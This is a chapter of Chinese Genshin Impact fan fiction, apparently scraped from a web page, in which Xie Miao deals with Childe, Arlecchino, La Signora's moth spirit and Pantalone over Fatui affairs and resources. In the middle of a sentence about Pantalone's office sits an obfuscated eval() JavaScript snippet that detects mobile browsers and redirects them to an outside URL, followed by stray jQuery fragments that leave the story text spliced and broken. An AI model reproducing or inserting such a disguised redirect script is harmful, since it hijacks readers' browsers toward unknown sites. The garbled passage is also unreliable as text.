女士要做的事谢苗没问，但猜得到，也知道自己能被用到。


    当天晚上兹梅伊了却一桩心事，怜爱地摸摸他的脑袋又消失在阴影中，谢苗推开窗户让红莲蛾飞远，只有小鱼留在办公室里陪他顺便豪气的大喊一声：[再给我来一杯热牛乳！]


    咦？他什么时候把杯子里的牛乳喝完了？谢苗还打算等凉一点一起喝了。


    谢苗去给小鱼煮牛乳的时候，达达利亚也垂头丧脑的返回办公室，蜷缩在壁炉的柴火边哈气：“老爷子的心真狠啊，只放半天假。”


    “不意外。”谢苗应小鱼的要求，在他那碗牛乳里少放了一半的糖，又给达达利亚倒了一杯，剩下的全是自己的，这回干脆直接用元素力散热，“执行官大人们有发表什么高见吗？”


    达达利亚摇摇头：“他们还是老样子，倒是队长对散兵的失踪有些上心，好像是在……警告博士？”


    “这样啊……那么散兵的失踪和博士应该有不低于六成可能性的联系。”谢苗如此猜测，毕竟瓦西里说过他的长官队长是这个不会无的放矢的人，一口唾沫一个钉。


    达达利亚将牛乳一饮而尽，才觉得彻底暖和起来：“老爷子准备让我去稻妻查一查散兵的下落，博士那边我也插不了手……谢缪尔。”


    “是需要我随行，提前准备些什么吗？”


    “不，不用。执行官失踪毕竟是丑闻，我一个人秘密去稻妻就行。正好至冬本部这边还需要你坐镇，我也会更放心一些——再不能让托克跑出来了。”才回来没多久又要出差收拾同事留下的烂摊子，达达利亚的心情算不得好。


    “什么时候动身？”


    “很快，最多两天。轻装上阵，别走漏了风声。”达达利亚很快安排下去，“我也需要把留驻稻妻的士兵带回来……总不好寒了他们的心。”


    谢苗诧异的看他一眼。


    达达利亚：“你这是什么眼神？我又不是完全不体谅下属——我对你还不够宽厚吗？”


    谢苗矢口否认：“我可什么都没说。”


    达达利亚居然还会想着把士兵当人？他以前可是身先士卒的狂热战争兵器，损耗根本不被放在眼里。


    但是达达利亚冷哼一声：“你就装吧。”然后扭过头去翻找文件。


    第二天下午，达达利亚就登上了离港的船只。


    谢苗接手了第十一席绝大多数的任务，少部分需要上官定夺的问题也被他搁置下来，并没有如公鸡或者富人预期的那样询问他们。


    这时候被派去挪德卡莱执行任务的壁炉之家成员也来信，说挪德卡莱有个相当棘手的情报组织盘踞，阻挠他们的刺杀行动。尽管任务最后完成，但也受到了不同程度的损失。


    谢苗只让人回来，其他的不用管。


    他去见了仆人一面，把这些孩子的管理权交还，余光瞥见落在对方肩上的红莲蛾，想说的话都卡在喉咙里。


    阿蕾奇诺一无所觉：“怎么了，谢苗？”


    “在想挪德卡莱情报组织【秘闻馆】的事。依据这半年至冬的政策转向，无主之地的挪德卡莱也迟早收复。”他犹豫着，“神之心迟早收集齐，当女皇的目光从六国收回落在至冬的土地上，那里的资源就是必须要争夺的。”


    阿蕾奇诺点头：“不错。但是无需担忧，秘闻馆背后还有个遍及整个北大陆的情报……不足为惧。”


    这倒是有意思。


    “如果你想为公子尽早争取一个分食资源的名额，我的建议是暂且按捺，等待陛下的旨意。”阿蕾奇诺并不掩饰自己的想法，“那些富商政要迟早被自己的贪婪吞噬。”


    谢苗颔首：“我明白了，感谢父亲大人的教导。”


    红莲蛾轻轻扇动翅膀，似乎也在满意如此父慈子孝的场面。


    阿蕾奇诺想到了什么：“对了，公子去了稻妻出差，大概率会错过对须弥情报的收集。等你们忙完这阵，明年要不要来枫丹的壁炉之家做客？蝶安奈拉常跟孩子们提起你，我也需要你来接手一部分的资源。”


    “……就这样给我了吗？”


    “罗莎琳的遗产由我继承，我只是把其中一部分交给合适的人。”阿蕾奇诺神情依旧平静，“你依旧认同自己壁炉之家成员的身份，有这个资格。”


    谢苗只想苦笑。


    离开至冬庄园，那只红莲蛾也跟着他一起走了。


    直到坐上马车，谢苗才开口道：“我以为你会在那里待久一些。”


    [足够了。]红莲蛾的声音慵懒而倦怠，[我把几条暗线给你，那是其他执行官都不知道的东西。]


    “真是惶恐，我都不知道自己缘何受此恩宠。”


    [我要你帮阿蕾奇诺。]


    [你对女皇的忠心能够持续到身死之前，这一点我不质疑。但我无法信任你对壁炉之家的归属感。]


    谢苗微笑：“根本就没有那种东西。”


    [更可怕了。那你如今答应阿蕾奇诺的事只是利益角度出发的考量吗？]


    “是，但不全是。无论怎么说她都教过我几年，传授我知识与武艺。出于个人恩怨和私心，我很感激她。”


    红莲蛾的声音轻飘飘的：[我知道，她杀了库嘉维娜。作为被库嘉维娜精神虐待又送给博士做实验的可怜虫，你恨她再正常不过了。]


    “……”


    [算了，利益就利益，好过淡薄的恩情。]


    “我一直都很好奇，为什么您和父亲大人的私交如此深厚。”


    [因为她是这个神经病集团里唯四的正常人之一。]红莲蛾嗤笑道，[一个队长，一个少女，一个仆人，一个木偶。除此以外的执行官全部都是疯子、臭虫、神经病、冷血政治动物、合该被吊在路灯上用鞭子抽的王八蛋。]


    怨念非常深重了，谢苗相信如果有机会，女士真的会拿鞭子抽她讨厌的同僚。


    不过他更好奇的是：“别的我可以理解，公子大人属于什么？”


    [前三个称呼你随便选，谁都一样。]她突然叫起来，[等等，你这是要去哪里？]


    谢苗欠揍的声音响起：“合该被吊在路灯上用鞭子抽的王八蛋。”


    北国银行二楼，大名鼎鼎的银行家、富人潘塔罗涅的办公


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357268|173207||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    室。


    红莲蛾仗着人类看不见她，那叫一个趾高气昂气焰嚣张，努力扇翅膀想给富人那身珍贵的皮草大衣烧个窟窿，结果是什么都没有发生，反倒是让室内温暖如春。


    富人老爷眯着眼睛，显然很满意这样舒适的温度：“末席走了，你的工作还适应吗？”


    “至冬境内还算安稳，暂时没发生处理不来的事。”


    “可是我听说你那些弟弟妹妹在挪德卡莱可是吃瘪吃到饱呢。作为家里的兄长，不为他们讨个公道吗？”


    “您说笑了，我离开壁炉之家这么多年，怎么也轮不到我插手管教。”谢苗微微低头，“仆人大人还没有离开至冬，在来老师这里之前，我已经将代行的职权交还回去。”


    “算了，到底是我的学生，一点亏都不肯吃。”


    富人捏起钢笔在纸上写了些什么：“须弥有博士这个第二席出手，他向来脾气大，说不要帮手就是不要。那么枫丹和纳塔，你想去哪个？”


    谢苗微微讶然：“原来我还有选择的权利吗？”


    富人笑骂一句：“少阴阳怪气，一个是有成熟金融体系、科技高度发达的中枢国。一个是战争不停、古老部落组成的偏远国。好在队长是要去纳塔的，我也不用操心你折在异国他乡。”


    这话很明白了，富人的势力大概率向纳塔转移——就为搭乘队长这辆有绝对人品和实力保障的顺风车。


    但是很遗憾，老爷开口得太晚。


    “还是枫丹吧，我的这些手段在文明都市才好用。”


    富人有些遗憾，但也觉得可以：“早知道当初把你送队长手下学多点。”


    “……我也没有能干到学什么会什么。”


    红莲蛾冷笑：[队长的风格你学不来的，他太过正直，除非必要不会阴人。]


    这就是在说谢苗是袭承壁炉之家一派的老阴货——专爱背后放冷枪。跟着富人学也是怎么阴怎么来，也就是给公子当副官的这几年硬生生把阴货风格变得好看了些。


    谢苗很无辜啊。


    “在末席回来前，你先处理一些本国的问题。”富人老爷正经了些，“前阵子队长催博士的本体尽快研究出针对深渊污染的特效药，他倒是拿出来了，只可惜造价高昂到连博士都能说一句‘成本不低’。要真是拿出来用到前线，不出三个月，北国银行就得宣布破产进入资产清算阶段。”


    北国银行是至冬的财政核心，能拖累一个国家财政的特效药，造价几何？


    谢苗是知道深渊对人类污染的，难得夸了一句博士当回人：“博士大人都用了哪些材料，方便公示吗？民间的药材商会将药品分三六九等，或许他们能找到合适的替代品组合——或许药效没有那么快立竿见影，但有用且成本可控。”


    富人笑眯眯。


    红莲蛾快要气晕了，恨不得还是活人的时候直接上手揪这臭小子的耳朵：[白痴！他就是在等你这句话！]


    [你的小男朋友来至冬了！提瓦特最大的药材商家族出手，潘塔罗涅不把价值榨干他就把名字倒过来写，把财产全部送阿蕾奇诺！！！]